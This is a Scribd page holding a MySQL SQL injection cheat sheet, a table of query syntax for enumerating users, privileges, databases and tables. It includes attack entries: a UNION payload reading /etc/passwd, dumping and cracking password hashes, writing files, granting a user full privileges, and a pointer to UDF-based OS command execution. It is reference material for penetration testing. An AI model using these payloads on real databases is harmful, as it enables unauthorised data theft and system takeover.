Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
Scribd
Upload
228 views

MySQL SQL Injection Cheat Sheet

This document provides a cheat sheet of useful SQL injection syntax for exploiting MySQL databases. It includes queries for gathering information like the MySQL version, current user, database names, and system privileges. It also describes techniques for bypassing input validation, executing commands, and accessing local files. The goal is to make SQL injection easier by presenting the syntax in a standardized table for each database backend.

Uploaded by

Abhijit Chatterjee
Copyright
© © All Rights Reserved
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
228 views

MySQL SQL Injection Cheat Sheet

This document provides a cheat sheet of useful SQL injection syntax for exploiting MySQL databases. It includes queries for gathering information like the MySQL version, current user, database names, and system privileges. It also describes techniques for bypassing input validation, executing commands, and accessing local files. The goal is to make SQL injection easier by presenting the syntax in a standardized table for each database backend.

Uploaded by

Abhijit Chatterjee
Copyright
© © All Rights Reserved
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 3

MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases…

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to
tabulate the data to make it easier to read and to use the same table for for each database
backend.  This helps to highlight any features which are lacking for each database, and
enumeration techniques that don’t apply and also areas that I haven’t got round to
researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

 Oracle
 MSSQL
 MySQL
 PostgreSQL
 Ingres
 DB2
 Informix

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with
“– priv” at the end of the query.

Version SELECT @@version


SELECT 1; #comment
Comments
SELECT /*comment*/1;
SELECT user();
Current User
SELECT system_user();
List Users SELECT user FROM mysql.user; — priv
List Password
SELECT host, user, password FROM mysql.user; — priv
Hashes
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM
information_schema.user_privileges; — list user privsSELECT host, user,
Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv,
Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv,
References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv,
Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv,
Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee,
table_schema, privilege_type FROM
information_schema.schema_privileges; — list privs on databases
(schemas)SELECT table_schema, table_name, column_name,
privilege_type FROM information_schema.column_privileges; — list privs
on columns
SELECT grantee, privilege_type, is_grantable FROM
List DBA information_schema.user_privileges WHERE privilege_type =
Accounts ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; #
priv
Current Database SELECT database()
SELECT schema_name FROM information_schema.schemata; — for
List Databases MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
SELECT table_schema, table_name, column_name FROM
List Columns information_schema.columns WHERE table_schema != ‘mysql’ AND
table_schema != ‘information_schema’
SELECT table_schema,table_name FROM information_schema.tables
List Tables WHERE table_schema != ‘mysql’ AND table_schema !=
‘information_schema’
SELECT table_schema, table_name FROM information_schema.columns
Find Tables From
WHERE column_name = ‘username’; — find table which have a column
Column Name
called ‘username’
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows
numbered from 0
Select Nth Row
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows
numbered from 0
Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
SELECT 6 & 2; # returns 2
Bitwise AND
SELECT 6 & 1; # returns 0
ASCII Value ->
SELECT char(65); # returns A
Char
Char -> ASCII
SELECT ascii(‘A’); # returns 65
Value
SELECT cast(‘1’ AS unsigned integer);
Casting
SELECT cast(‘123’ AS char);
String SELECT CONCAT(‘A’,’B’); #returns AB
Concatenation SELECT CONCAT(‘A’,’B’,’C’); # returns ABC
If Statement SELECT if(1=1,’foo’,’bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0x414243; # returns ABC
SELECT BENCHMARK(1000000,MD5(‘A’));
Time Delay
SELECT SLEEP(5); # >= 5.0.12
Make DNS Impossible?
Requests
If mysqld (<5.0) is running as root AND you compromise a DBA account
you can execute OS commands by uploading a shared object file into
Command /usr/lib (or similar).  The .so file should contain a User Defined Function
Execution (UDF).  raptor_udf.c explains exactly how you go about this.  Remember
to compile for the target architecture which may or may not be the same
as your attack platform.
…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read
world-readable files.
Local File Access
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to
file system
Hostname, IP
SELECT @@hostname;
Address
Create Users CREATE USER test1 IDENTIFIED BY ‘pass1’; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv
Location of DB
SELECT @@datadir;
files
Default/System information_schema (>= mysql 5.0)
Databases mysql

Thanks

Jonathan Turner for @@hostname tip.

You might also like